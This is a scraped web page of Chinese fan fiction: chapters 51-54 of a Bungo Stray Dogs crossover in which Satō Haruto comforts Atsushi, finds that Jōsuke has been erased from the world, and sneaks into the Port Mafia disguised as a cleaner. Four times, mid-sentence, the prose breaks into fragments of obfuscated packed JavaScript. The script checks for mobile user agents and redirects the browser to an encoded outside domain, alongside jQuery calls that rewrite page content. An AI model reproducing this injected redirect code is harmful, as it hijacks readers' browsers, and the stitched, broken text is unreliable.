l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124794|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊,别给自己太大压力,抓捕犯人的活就交给异能特务科吧。” “啊?嗯、嗯。” 匆匆回神的中岛敦慌忙应了几声,没有再说话。但和佐藤阳翔之间的距离依旧保持着三米以上。 佐藤阳翔察觉到异常:“...少年,你怎么了?” “不,没什么。”中岛敦干巴巴地笑了笑,在佐藤阳翔扭过头的时候,不自觉地将被烟熏得脏兮兮的手藏到了背后。 “......” 其实这种动作还是很明显的。 他们又走过一个路口,街上的人流逐渐开始变多了,中岛敦这才意识到他们来到了分岔的路口——中岛敦要回宿舍,和佐藤阳翔目前居住的镭钵街完全是两个方向。 好可惜,什么话都没说就要分开了...不过比起这个,中岛敦其实更不希望自己灰头土脸的样子被对方尽收眼底,这大概就是每个人对暗恋对象都会不自觉产生的自卑心吧。 就在这时,他忽然发现佐藤阳翔停了下来,并没有就此和他告别,而是突破了三米的亲近距离,有些强势地抓住了中岛敦的手,将他拖到了附近的便利店外坐了下来。 “佐藤先生?” 中岛敦愣愣地跟在他身边,差点忘记抽回自己的手。但他刚起了退缩的念头,佐藤阳翔拽住他的力气就又加了一分,好像是生怕他逃跑一般,掌心相贴,传来坚定且温暖的温度。 “那个,我的手很脏,身上的味道也很重...” 他垂下紫金色的眼睛,神情犹豫,“佐藤先生还是别和我靠太近比较好...” “你在说什么傻话?”佐藤阳翔把他按在椅子上,伸手在他的额头上弹了一下,叹气道,“我第一次往公厕里扔炸弹和特殊药剂的时候,你还不知道这些是什么东西吧?觉得我会嫌弃你?” ...不愧是佐藤先生,小小年纪就已经干出常人干不出的事了。 佐藤阳翔进便利店,买了一包消毒湿巾和一盒创可贴。他们坐在店前,半边身子都被黑暗笼罩,昏黄的路灯照勾勒出对方漂亮的五官,但中岛敦却从专注的金眸里读到了温柔的意味。 佐藤阳翔拉起他的手,仔仔细细地将上面的灰尘擦净,浸有酒精的湿巾在碰到血痕后,不可抑制地带起了些许疼痛的战栗。 中岛敦磕磕绊绊地说:“我、我,我一个人就能处理的,这点伤口不算什么的,佐藤先生不用替我做这种事...” “大错特错。”佐藤阳翔叹气,“唉,真搞不懂,你干嘛把受伤弄得和自己犯了大错一样?” 他撕开一片邦迪,贴在中岛敦小臂上的伤口上:“感到疼痛或者被忽视的时候,你就应该说出来啊。” “没事的,反正很快就会愈合...” 中岛敦刚低下头,就被佐藤阳翔用双手强行把脸捧了起来,嘴巴也被挤压成好笑的金鱼嘴,脸色通红,只能吐出模糊的音节:“...佐、佐藤先生?” “听好了,敦。以后每次受伤,记得要学会喊痛。”佐藤阳翔说,“因为会哭的孩子有糖吃——如果你是为了保护他人才受伤,就要学会“要糖吃”;如果是为了保护自己才受伤,就要把你受伤的委屈,从敌人手里加倍讨回来。” 中岛敦的呼吸忍不住一窒。 这样任性的权利是他不曾获得的。无论是在孤儿院,还是在武装侦探社,前者拼命地向他施加失望与压力,后者虽然让他逐渐开始重拾信心,但也从来没有人和他说过这样的话——除了佐藤阳翔。 “这样...真的可以吗?” 中岛敦迟疑着,同时,一股压抑的情感、言语和看法在他心中郁积了多年,令他的声音带上了急促的喘息,以及不由自主的颤抖。 ——真的可以这么任性吗? “当然。”佐藤阳翔松开手,蹲下身直视着对方的双眼,微笑道,“至少在我面前,你可以保留这个权利。” 53.第五十一章 97 抵达镭钵街出租屋的时候已是深夜。这个点的大街上却依旧有不少流浪者游荡,他们没有家,没有工作,更没有人生的指望,每天都在街上晃悠,面色阴沉惨淡,有时候还会瞄准路人进行抢劫,中岛敦跟在佐藤阳翔身边行走,觉得自己像猎物似的,被盯得头皮发麻。 “佐藤先生,怎么感觉大家都在看我们...”他说着,不自觉握紧了佐藤阳翔的手,“而且视线都怪怪的...” “没事的,我在这里住了这么多年,现在已经没有人敢向我打劫了。”佐藤阳翔面色如常,“这里的人很和善的,他们可能只是觉得有人半夜不睡觉很奇怪吧。” 可是他们不是也没睡吗?! 中岛敦不由得有点后悔自己刚刚说的大话了。 半小时前,他刚获得了可以和佐藤阳翔任性撒娇的机会,所以一时热血上头提出了想送对方回家的要求。说是“送”佐藤阳翔回家,实际上是想尽可能拉长一些呆在佐藤阳翔身边的时间。 佐藤阳翔有点惊讶:“你想送我回去?可宿舍和镭钵街完全是两个方向吧?你要走很久才能回去哦?” 中岛敦有点紧张:“我没关系的,听、听说镭钵街附近不太安生,所以我觉得已经这么晚了,我还是陪佐藤先生一起回去比较好...” “唔...你愿意的话,我倒是无所谓。”佐藤阳翔说着,刚准备动身离开,忽然注意到对方的视线一直追随着自己的手。 中岛敦想的其实是,佐藤阳翔刚刚拉住了自己的手,可能蹭到了自己掌心的灰烟;但佐藤阳翔却会错了他的意思,直接问道:“要牵手吗?” “...?!!” 中岛敦差点被天降的惊喜砸晕。 ——于是就演变成了现在这样的情况。 佐藤阳翔早就已经把镭钵街附近找麻烦的流氓揍得找不着北了,更是在这一带的黑|帮中成了人人避讳的存在。一说“佐藤阳翔”这个名字,大家可能还没什么反应;但要说到“那个金眸青年来了”,流氓们就纷纷默认,恶魔即将出现。 不少人还会排队给佐藤阳翔送保护费,原本挣扎在底层的小混混大野光极也凭借着好友的名声,一跃成了镭钵街帮派中的座上宾,从此再没被任何人找过麻烦。 和佐藤阳翔关系不错的人,在这里就相当于拥有免死金牌。 他们会一直盯着中岛敦,主要还是因为他们握在一起的手——在日本,如果是纯正无异心的好兄弟,顶多会在大马路上勾肩搭背;双手紧握的姿势,一般都是在情侣之间使用的。 如果是好兄弟的话,十指相扣不是有点太奇怪了吗?!(当然,前提是佐藤阳翔有这类常识的话。) 因此,他们看着中岛敦的眼神一下子就变得肃然起敬了起来——就算他现在浑身脏兮兮的,看起来像是刚从火堆里打过滚,还剪着一头奇怪的刘海,脸也看不出有什么特别的过人之处…… 但能征服金瞳恶魔的家伙,一定很不简单! 佐藤阳翔不知道他们之间的脑内频道已经丰富到了这个地步。 他抵达出租屋的时候,发现室内已经亮灯,门口还停着大野光极的摩托车——这是一辆新的改装摩托,好像最近确实有听见他要换车的传闻。东方仗助还在此过程中帮了他不少忙,最后两人商定给这辆富有创新性和冒险精神的摩托车取名“佐藤一世”。 不过因为这名字太土,佐藤阳翔至今仍拒绝乘坐这辆摩托。 中岛敦也注意到了这辆车,不由得问:“佐藤先生家里是有客人吗?” “嗯,有朋友来了——没什么,估计又是来我这里通宵看赛马的吧,他们最近好像很沉迷这个。” 混混日常四件套:打游戏、看赛马、打牌、骑摩托。 幸而大野光极相对其他暴走族来说,还算是个心地善良的正常人。东方仗助也并没有因为对方的身份就对他产生有色滤镜:因为外公从小教育他交朋友要看中的是对方的内心,而不是表面的身份——在来到横滨后,大野光极当仁不让地成为了继佐藤阳翔外,和他关系最好的第二个朋友。 在佐藤阳翔忙着上班的时候,大野光极就陪着东方仗助一起玩,两人现在已经完全臭味相投了。 “我已经到家了,你自己一个人回去不要紧吗?”佐藤阳翔问,“现在时间很晚了,如果你想留下来也可以。不过那两个家伙可能会闹得很晚,我倒已经习惯这种噪音了,就是不知道你能不能忍受。” 中岛敦急忙摆摆手:“那怎么好意思...我自己回去就好。” “那也行。如果路上有人找你麻烦,你就给我打电话。”佐藤阳翔松开握着他的手,中岛敦瞬间感到失落和不舍的情绪填满了他的心房。 “嗯,我...” 不等他继续出声,临街的一扇窗突然从里向外打开了。做着最新莫西干头的大野光极毫无预兆地探出脑袋,好奇地问道:“那个...老大,你们在门口干什么呢?我看你们在外面说了好久的话了,手还一直牵着。” 他一直看着?! 中岛敦的脸瞬间涨得通红,紧张得连说话都在结巴:“那个,我、我们是...” 佐藤阳翔面不改色地介绍道:“这位是我在武装侦探社的同事,他觉得夜里的镭钵街不太安全,就送我回来了。” 正常人如果看见中岛敦的表情,绝对不会认为这事真的如同佐藤阳翔说得那么简单。毕竟完全没有特殊情况的话,谁会突然摆出一副被人撞破心思的样子,紧张得连话都说不利索啊? 但大野光极不是正常人,这家伙的脑回路简单得要命——这一点从他曾被佐藤阳翔和东方仗助联手坑了三万日元,还单纯地以为是自己技术差就能看出来。 于是他探究地看了看两人半晌,就这么轻易地接受了,瞬间喜笑颜开道:“噢,原来是同事呀!大半夜的还专门送老大回来,你人真好啊!” 中岛敦骤然长松一口气。 98 告别了中岛敦后,佐藤阳翔推门进屋,果不其然看见了电视机里正在播放的国外赛马直播。他在室内环视一圈,却没有看见东方仗助的身影:“仗助人呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126744|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯?老大,你在说谁啊?”大野光极奇怪地问,然后凑上去展示着自己新剃的发型,“比起这个,老大你快看,这个是我的新发型,很酷吧?!我今天从理发店里出来的时候,感觉大家都在看着我...” 佐藤阳翔的心头突然掠过了一丝不太妙的感觉。 他甚至来不及脱下外套,就冲入了房间,找遍了所有可能藏人的地方,却剩下空空荡荡的孤寂,哪里还有半点东方仗助的影子?! 佐藤阳翔第一时间察看了家中的窗户——全都关得严严实实的。如果东方仗助真是被什么人带走的话,窗台应该至少会留下脚印,窗户也不应该是从里面锁上的状态才对。这种种迹象表明,东方仗助是无缘无故消失的,就和无缘无故出现在横滨里一样。 “那个...老大,你没事吧?”大野光极问。 “窗户。”佐藤阳翔回神,猛地攥紧了大野光极的衣服,“在你刚刚开窗之前,窗户和大门都是锁着的吗?” “对、对啊...”大野光极被佐藤阳翔的表情吓了一跳——他已经不知道有多久没见过老大这副表情了,上一次佐藤阳翔露出这副表情,还是某帮派把大野光极绑走,拿性命威胁佐藤阳翔给钱的时候。 大野光极磕磕绊绊地道:“我进来的时候就没有人在,老大,你是不是丢了什么很重要的东西啊?” 不,不对。 一定有什么他不知道的事发生了。 佐藤阳翔尽力冷静下来,握住大野光极的肩膀问道:“你还记得东方仗助吗?他是几个月前坐船来横滨的,和我住在一起。有天晚上一起打赛车游戏,我和仗助还赢了你三万日元。” “这、这是谁啊!”大野光极慌张极了,“那晚赢了我三万日元的,不是只有老大你吗?!出租屋里也没有别人啊,老大你家里就一张床,哪来的第二个人啊?” 他说着,试探着问道:“老大,你是不是太累了?” “...我没事,你先回去吧。” 佐藤阳翔捏紧拳头,心里已经有了一个模糊的猜想。 东方仗助的消失绝不是出于意外或偶然。正如横滨会莫名其妙出现传送口、恶鬼、咒灵,以及四魂之玉一样,东方仗助的出现,严格来说其实也属于异常的一种——他的身份无法查询,并且拥有着与异能截然不同的【替身】力量,仿佛跨越了时空的巨大鸿沟,从另一个世界穿越过来的旅人。 在大野光极摸不着头脑地离开后,佐藤阳翔又打给了每一个知道东方仗助存在的人,上至刚刚离开的中岛敦,下至曾在餐厅里和东方仗助吵过一架的芥川龙之介,得到的结果却令人绝望——没有人记得这个名字,仿佛他从未在这个世界上出现过。 佐藤阳翔在房间里没有找到任何仗助留下的痕迹——他带来的行李箱、以及那封写着彩票序号的信件,统统都消失不见了。 一切就像是一场乍然破碎的梦。 正如当初的【祂】将【系统】的存在从佐藤阳翔的记忆中抹去一般;东方仗助的存在,也毫无预兆地从这个世界消失了。 54.第五十二章 99 由于东方仗助的失踪,佐藤阳翔心情躁郁,即便闭上了眼睛也睡不着。他很确信,东方仗助的消失一定预兆着下一场巨变的开始——但现在,他没空想那么宽泛的主题,也没空管横滨的未来究竟会发生什么事。 佐藤阳翔现在只觉得手脚冰凉,双目灼痛,繁杂的思绪伴随着入夜的孤独几乎冲昏了他的头脑。 他之前怎么没觉得,一个人的出租屋有这么空荡? 第二天一早,不等上班时间到,佐藤阳翔就出现在了武装侦探社事务所楼下的咖啡馆里。眼下挂着浓重的青黑色,显然是一夜都没有睡好。他敛着眉眼坐在那里,一个劲地往咖啡杯里加方糖,溅起的咖啡液顺着杯壁流下来,留下一道深色的痕迹。 谁都没料到,一向厌恶上班的佐藤阳翔今天居然会来得这么早。 中岛敦撞见他沉思的模样,小心翼翼地来到他身边,问道:“佐藤先生,你还好吗?” 佐藤阳翔这才大梦初醒般地回过神来,露出一个有些勉强的笑容。 “你还在找那名叫做东方仗助的少年吗?” 中岛敦昨夜还没走到宿舍,就收到了佐藤阳翔急切的问询。电话那头的佐藤阳翔虽然尽量保持着声音稳定,但中岛敦还是从中品味出了焦虑的意味。 “你真的没有听说过这个人吗?”佐藤阳翔问。 “对不起,我真的不记得。”中岛敦挠了挠后脑勺,看着对方有些情绪低落的样子,不由得再次问道,“请问...这名少年和佐藤先生有什么关系吗?如果佐藤先生知道他的居住地址或联系电话,拜托警方应该能很快找到这个人...” 佐藤阳翔叹了一口气。 他比谁都清楚,东方仗助在这个世界上,只是一个凭空出现的人物——家庭电话、家庭住址,全都无法查询。佐藤阳翔最后还是放弃了从他人口中捕捉到蛛丝马迹的打算,转而问起了一些过去的事。 佐藤阳翔发现,东方仗助曾经和他一起做过的事,最后都只剩下了佐藤阳翔一人的身影——在中岛敦的描述中,佐藤阳翔是横滨首例传送口中唯一的幸存者;而泉镜花体内的发信器,也是由佐藤阳翔想方设法取出来的;就连在餐厅吃饭的那一次,和芥川吵架的人也变成了中岛敦... 东方仗助的存在轨迹,已经被无名的力量完全磨去——佐藤阳翔几乎可以断定,这一定出自那该死的【祂】的手笔。 和当初抹去自己记忆里的【系统】一样,【祂】注意到了异常的变化,并且开始修正和整个世界不相符的事物。 可为什么偏偏只有东方仗助消失了? 【祂】的目的,真的只有修正世界那么简单吗? 就在佐藤阳翔百思不得其解之时,手机突然收到了一则陌生号码的消息。他打开后,迎面跳出的便是弗朗西斯的资料——佐藤阳翔这才意识到,号码的主人应该是异能特务科的坂口安吾。 坂口安吾,横滨传送口事务管理小组组长。 佐藤阳翔来不及细看资料,就又给坂口安吾发去了消息: 【东方仗助,一名刚从国中毕业的学生,发型很特别,眼睛是海蓝色的,紫黑色的头发,长相有点混血,体型高大,基本接近成年男人——麻烦你帮我留意一下这个人。】 坂口安吾:【?】 ...这家伙怎么还蹬鼻子上脸的,真把异能特务科当成搜索引擎了?! 【这个人对你们也很重要——他和地下传送口有很深的联系,但他现在消失了。】 坂口安吾只好一怒之下怒了一下:【...好吧,你最好不是在以权谋私。异能特务科的工作很复杂,我不是你的免费搜索引擎,真想找人的话,我劝你早点去联系警方。】 佐藤阳翔自动忽略了后半句话,回了句“感谢”后,便打开刚到手的资料,一目十行地阅读起来。 异能特务科的办事速度远超他的想象,仅仅过了一晚,他们居然就搜罗好了弗朗西斯的资料——而更出乎佐藤阳翔意料之外的,弗朗西斯本人的生平波澜壮阔、极为精彩,如果把他的经历搬到大银幕上,那一定是个卖座的故事。 100 弗朗西斯是个怪胎。他生于明尼苏达州圣保罗市郊外的某个小镇,这里不曾出现什么美景,弗朗西斯从小只能看着略显破败,没有大城市灯红酒绿、纸醉金迷的景色长大。 他从事的第一份工作,就是在路边给客人擦皮鞋。圣保罗市偶尔也会出现一些身份特殊、气度不凡的客人。他们穿着漂亮笔直的西装,穿着定制皮鞋——最重要的是,他们给的小费也丰厚无比。 望着他们手中的真皮钱包,弗朗西斯第一次产生了对金钱的渴望。 后来他去大城市工作,因为家庭背景受到了顶头上司的打压。那家伙当着所有人的面,毫不留情地大声嘲笑弗朗西斯的酸穷品味,说他连块肥皂都买不起——于是弗朗西斯在抢夺了第一支枪以后,就把这名烦人的剥削者杀了,还拿走了他的财产,正式开始向缔造只属于弗朗西斯·司各特·菲茨杰拉德的商业帝国迈进。 值得一提的是,这名半路发家的富豪有一名深爱的妻子。他们结婚多年,共同养育了一名漂亮的女儿,恨不得为她把世界上一切最珍贵、最美好的事物双手奉上,绝不让她受到一丁点的伤害。 然而,异变却突然发生。 越是美好幸福的家庭,恶魔就越喜欢向他们降临不幸。弗朗西斯的女儿在几个月前误入了地下传送口,等弗朗西斯夫妇发疯般突破警察的防线,看见的只有女儿苍白的小脸以及紧闭的双眸。 从此以后,弗朗西斯的妻子泽尔达患上心病,终日郁郁寡欢;而弗朗西斯本人则创造了一个名为【组合】的北美异能集团,开始积极寻找一切可以拯救妻女的方法。 ——资料到这里就结束了。 佐藤阳翔放下手机,心中的疑惑却并未得到消解。 他再次给坂口安吾发去了消息:【从资料来看,弗朗西斯的女儿似乎并没有死去,她在传送口中经历了什么?你们能弄到更具体的案卷吗?】 坂口安吾:【很遗憾,这种事都由各国官方政府机关牢牢把持,具体内情不是我们能查到的。】 【和她一样的情况,在横滨有出现过吗?】 【没有。】 望着最后的回信,佐藤阳翔的眉梢微微一扬,露出了一个有些意味深长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133297|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的哼笑。他将手机倒扣回桌面,开始用银勺轻轻搅动着里面的方糖。 弗朗西斯悬赏自己的原因,他大概猜到了:作为世界首例地下传送口的幸存者,佐藤阳翔历经万险,甚至一度死而复生——弗朗西斯为了拯救妻女,愿意花费金钱去寻找一切可能,无论这种可能有多么渺茫。 他会注意到自己,倒也算得上是人之常情。 就在这时,咖啡馆的玻璃门忽然被人推开。 打着哈欠的太宰治单手插兜,一脸困倦地前来上班了。他一屁股坐在中岛敦的身边,看起来像是经历了一次通宵工作——但以大家对太宰治的了解,说他在通宵研究自杀方法还比较有可能。 “你好,一杯拿铁——” 太宰治举起手,拖长着声音懒洋洋地向路过的女侍者索要咖啡。 中岛敦诧异道:“太宰先生,今天来得还真早呢。” “嗯?连佐藤君都提前来上班了,我早到一次也很正常吧?” 他撑着脑袋,手指有一下没一下地敲着桌面,“这次的咖啡应该记在佐藤君的账下啊,我可是半夜被吵醒,只好硬着头皮转动大脑思考’东方仗助‘到底是谁呢。” “撒谎,你那时候根本就没睡吧。”佐藤阳翔停下搅动方糖的动作,“你昨夜不是还留在现场,和异能特务科的坂口君讲悄悄话吗?” “那都是因为佐藤君挑起了一个有趣的话题。”太宰治说,“——死人会发动恐怖袭击吗?呐,敦,你怎么看?” 突然被点到名字的中岛敦一呆,瞬间感觉自己像被老师抽查到作业的小学生,有些尴尬地笑笑:“我的话...可能还是会觉得有些不敢相信吧,毕竟死去的人突然行动什么的...感觉有点瘆人。按照常理来说,尸体一般不是不会动的吗?” “嗯?为什么?”太宰治奇怪地问,“明明你面前就有一个死去的人还在喝咖啡啊。” 佐藤阳翔放下咖啡杯,脸上维持着体面的微笑,桌下却朝着太宰治的腿踢了一脚。 “别把我说得这么恐怖啊。”佐藤阳翔皮笑肉不笑地道,“我好歹也是人类吧。” 中岛敦却一下子愣住了。 事实似乎确是如此,佐藤阳翔分明在神社中死去了,却在奇异的力量下奇迹般死而复生。在太宰治说这句话之前,中岛敦从来都没有把佐藤阳翔的“死亡”当成真实的“死亡”,因为佐藤阳翔至今仍旧活蹦乱跳的。 他的思绪有些混乱:“所以太宰先生的意思是...” “说明死者也是可以通过异常的力量行动的。” 太宰治竖起食指,贴到了自己的唇边,意味深长地道,“至于是【复生】还是单纯地【动起来】,就是另外一回事了。” 只要找到瑞克能行动的原因,他们就能很轻松地找到研究所爆炸的真相。 佐藤阳翔却突然有一种不妙的预感:“...研究所爆炸案的事不应该交给异能特务科全权负责吗?” “哎呀,我忘记和佐藤君说了~” 太宰治笑眯眯地从大衣口袋中掏出了一张委托单,用听起来就欠揍到极点的语气俏皮道,“现在爆炸案的负责人,是我们武装侦探社哦!” 55.第五十三章 101 有一种工作,写做“武装侦探社负责”,读作“佐藤阳翔全责”。 佐藤阳翔就知道太宰治这家伙不会给自己带来什么好消息,放下咖啡就要起身跑路。衣摆果不其然被这讨厌的家伙一把拽住,太宰治的声音从他身后传来:“不要急着走嘛,我不会让佐藤君一个人干活的。” “我还没说我要接下这份工作吧!”佐藤阳翔抗拒道,“如果和我一起行动的人是你,那你还是闭嘴吧。” “佐藤君有这么讨厌我吗?”太宰治故作伤心地叹气,在他挣扎得最激烈的时候坏心眼地松开手,然后和恶作剧的孩童一般,好整以暇地趴在沙发椅背上欣赏佐藤阳翔趔趄的背影,“很可惜,佐藤君这次的搭档不是我哦。” 随后,一阵轻盈的脚步声响起。 身着和服的少女面容秀丽,胸前挂着一个翻盖手机,深色的长发垂落下来,她悄无声息地出现在了桌边,平静地看着这副混乱的场面,开口道:“太宰先生说,这里有任务要交给我。” 中岛敦不由得惊讶:“镜花酱?!” 泉镜花在加入武装侦探社后还没有执行过任务。在此之前,中岛敦原本打算替她接下一份相对简单、安全的任务——就是把一封装有案件证据的资料送达法官办公室。 少女曾遭到港口mafia的追踪,被当成了钓出人虎的饵料,就这么贸然接下查明研究所爆炸案的任务实在有些冒险。 但佐藤阳翔完全不觉得她是朵需要人保护的温室花朵,反而如释重负地松了一口气:“这次的搭档是镜花啊?那太好了。” 身为全场最靠谱的未成年人,泉镜花在了解过具体情况后,很快就接下了任务。 对于她这样的暗杀者,与其费劲脑筋做一些打杂的活计,倒不如去帮忙寻找研究所爆炸案的犯人,说不定还能从一些意外的角度提供不一样的看法。 要去寻找瑞克的踪迹,最老套的办法就是重回一次研究所,然后通过监控摄像头厘清这家伙的行动轨迹。 但遗憾的是,由于研究所的性质较为特殊,本身保密性质极高,周围几乎没有什么建筑,能采取到的监控资料更是寥寥无几,如果要将周围全都排查一遍,估计等他们查出来的时候,研究所都已经重建完毕了。 佐藤阳翔当然不打算干这种费时费力的工作。 他略加思索了一下,拍板决定:“既然如此,我们就先去见一个人吧——虽然过程可能会有点曲折。” 泉镜花不解地看着他。 “瑞克曾经被港口mafia击杀。”佐藤阳翔解释道,“他当年的同伴艾莎也被带走了,现在大概率被囚于港口mafia的地下牢房吧——毕竟精神系的异能者虽然危险,但用处很大,直接杀掉就太可惜了。” 他眯起眼睛:“镜花,我们要回港口mafia一趟。” 提起港口mafia,泉镜花其实并没有什么值得留恋的事物。她对那里的印象只剩下黑暗和潮湿,犹如吞吃人性的猎网;当时她刚失去父母,一无所有地被关在地牢之中,除了一心求死,镜花几乎没有再产生什么多余的情绪。 她不愿回想起那段沉浸在杀戮中的经历。 即便如此,她也没有对佐藤阳翔的提议进行反驳——因为这是武装侦探社的工作,泉镜花既然已经认定了这份工作,即便可能会粉身碎骨,可能会被勾起并不愉快的回忆,她也决不退缩。 但要潜入港口mafia,可没那么容易。 港口mafia对自己的势力范围有着绝对的掌控力,无数持枪的职员们严阵以待,一旦有风吹草动,立即就会发动巨量的火力攻击。 更麻烦的是,负责管理地下监狱的,是港口mafia的五大干部之一尾崎红叶。 “这次行动还是尽量不要引起别人注意。” 佐藤阳翔铺开地图,他和泉镜花都曾是港口mafia的一份子,两人自然对公司附近的人员构成、换班时间、潜入路径都摸得一清二楚。 “那就从这里潜入吧。” 泉镜花在暗杀方面的造诣,远比佐藤阳翔想得还要高。她一眼就看穿了目前港口mafia大楼的防备薄弱之处,纤白的手指指向某处,语气平静却笃定,“从这里入侵的成功概率是最大的。” 102 清洁工——这个世界上最常见的一类人群。 他们存在感并不高,但他们的身影无处不在。港口mafia有自己的后勤人员,不同组的清洁工,负责包揽大楼中不同的区域,他们每个人都分工明确、默默无闻,做事有条有理。 然而,与世界上的绝大部分人一样,他们做清洁工,其实并不是出于热爱这份工作,而是为了尽量恪尽职守,拿走丰厚的薪水——毕竟港口mafia开出的薪资很高。 港口mafia行政大楼二层,一名穿着清洁工制服的男人压低帽檐,推着垃圾车缓缓转过了拐角——他佝偻着身子,有些脖子前倾,似乎累极了,整个肩膀都耷拉下来,但行动的脚步并没有放缓。 和这座大楼中的每一名清洁工一样,这样的人总是被人轻而易举地忽略。 一名穿着黑色西装,腰间佩戴着枪械的职员快速从他身边走过。职员刚想把手上的烟头扔进垃圾车里,就被对方一把攥住了手腕,力气大得惊人。 职员痛得大叫,手中烟蒂也掉落在地上:“喂,你干什么?!” 清洁工这才松开了他的手,弯腰捡起了烟头,扔入了挂在推车旁的袋子里,哑声道:“快到中午行政检查的时间了,我们要下班了,就不要往垃圾车上扔垃圾了,请扔到附近的垃圾桶里吧。” “今天的卫生检查这么早?”职员奇怪地看了一眼手表,“你们的检查不是都在一小时以后吗?” “领导突然说要提前抽检,我们这些打工的还能怎么办?”清洁工死气沉沉地说着,肩膀似乎又耷拉下去了一点,“我们也很累的。说实话,要不是薪资待遇还不错,我都想离职了。” 天涯何处无牛马。这名职员瞬间了然,感慨地拍了拍清洁工的肩膀表示理解:“我们打工的是这样的,领导突然发癫也没办法。” 他还用充满同情的语气鼓励道:“加油,再忍一忍吧,我们首领对待下属的待遇还是很好的,毕竟薪水丰厚嘛。” 清洁工低声说是,又推着垃圾车往前走了。 职员就在这一瞬间忽然注意到,今天垃圾车的声音似乎比往常更沉重一些。 但他很快就打消了自己莫名其妙的念头:自己可能是上班魔怔了,居然怀疑起了一名普普通通的清洁工;更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138443|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何况,这辆垃圾车能藏身的地方实在太小了,如此狭窄的空间,大概只有身材娇小的孩子才能钻进去。 大概…是自己想多了吧? 大概吧。 另一边,清洁工已经推着垃圾车来到了狭窄的清洁间。他松开把手,仔仔细细地打开了每一个储物柜,在确认这里确实没有藏人,也没有任何监控和窃听设备后,才挺直腰板摘下了头上的帽子,露出了一双金色的眼睛。 佐藤阳翔打开垃圾车的盖子,躲在里面的泉镜花抬起头,她红色的衣角已经变得湿漉漉的了。 他的声音从口罩中闷闷地发出:“辛苦你了,镜花。一直闷在不通风的狭窄空间里,应该不太舒服吧?” 大约是十五分钟前,泉镜花一击便放倒了一名推着干净垃圾车的清洁工——当然,从人道主义出发,他们还留着对方的性命,只不过借用了一下那人身上的制服和垃圾车罢了。 佐藤阳翔本色出演社畜清洁工。毕竟谁都不会对一名长期立于边缘角色的清洁工起疑,他就这么带着泉镜花大摇大摆地进了公司,并且一路上畅通无阻。 有了口罩和帽子的伪装,加上佐藤阳翔的表演技能实在太逼真,不少人都被他这招唬了过去,整整十五分钟的潜入,竟然完全没人注意到这名清洁工其实已经被人调包了。 “没关系。”泉镜花及时呼吸了一下新鲜空气,又重新低下头,尽量蜷缩着身体,“我们继续前进吧。” “接下来就是去地下监狱了。”佐藤阳翔说,“地下监狱有清洁工贸然闯入,大概率会起激烈冲突。镜花,待会你要尽你所能地逃出大楼,作为诱饵,你不用恋战;我会发动异能,把关在地牢中的艾莎尽快带走。” 只有佐藤阳翔才有能力不触碰门锁的警戒带走艾莎;因此,引走警卫的任务只能交给镜花。 见泉镜花点了头,佐藤阳翔才盖回盖子,整理好仪容仪表,又从意气风发的青年变回了班味十足的打杂清洁工,从清洁间重新出发。 清洁间边上就是专供后勤人员使用的货梯。他拖着着垃圾车进入货梯,指尖毫不犹豫地按下了地下一层。 佐藤阳翔的异能在这里不好直接施用,一个是距离太远,另一个就是,他没办法带着泉镜花一起移动。 清洁工故意进入被明令禁止踏足的地下监狱,佐藤阳翔心知冲突的爆发在所难免,但他仍希望不要撞见监管地下监狱的尾崎红叶——对方的异能非常难缠,活动范围也很大,如果让泉镜花碰上了尾崎红叶,那事情可就不太妙了。 但是,几乎是出乎意料地,在电梯门滑开的刹那,佐藤阳翔瞬间攥紧了扶着垃圾车的手——一张艳丽的面孔赫然出现在佐藤阳翔的面前。 糟了,正好在电梯里遇到了尾崎红叶! 守护在女人身边的职员们训练有素,他们在见到佐藤阳翔后,立刻警戒拔枪:“喂,清洁工为什么会到地下一层来?!” ……这么快就暴露了吗? 藏身在垃圾车中的泉镜花暗暗拔出匕首,蓝色的眼眸中闪过一丝杀意。 被簇拥在人群中央的尾崎红叶抬起头,那双任谁看了都忍不住侧目的美眸中,带着意味深长的危险笑意。 她淡淡地扫视了一眼垃圾车,语气笃定道:“小子——你,不是清洁员吧?” 56.第五十四章 103 尾崎红叶话音刚落,佐藤阳翔便将手伸到了腰后。电梯里的空间太过狭小,唯一的出路还被尾崎红叶的人牢牢堵住,若佐藤阳翔只有一个人,那倒也能凭自己的异能逃出生天,但现场还有镜花在场,他必须先把镜花传送到安全的地方。 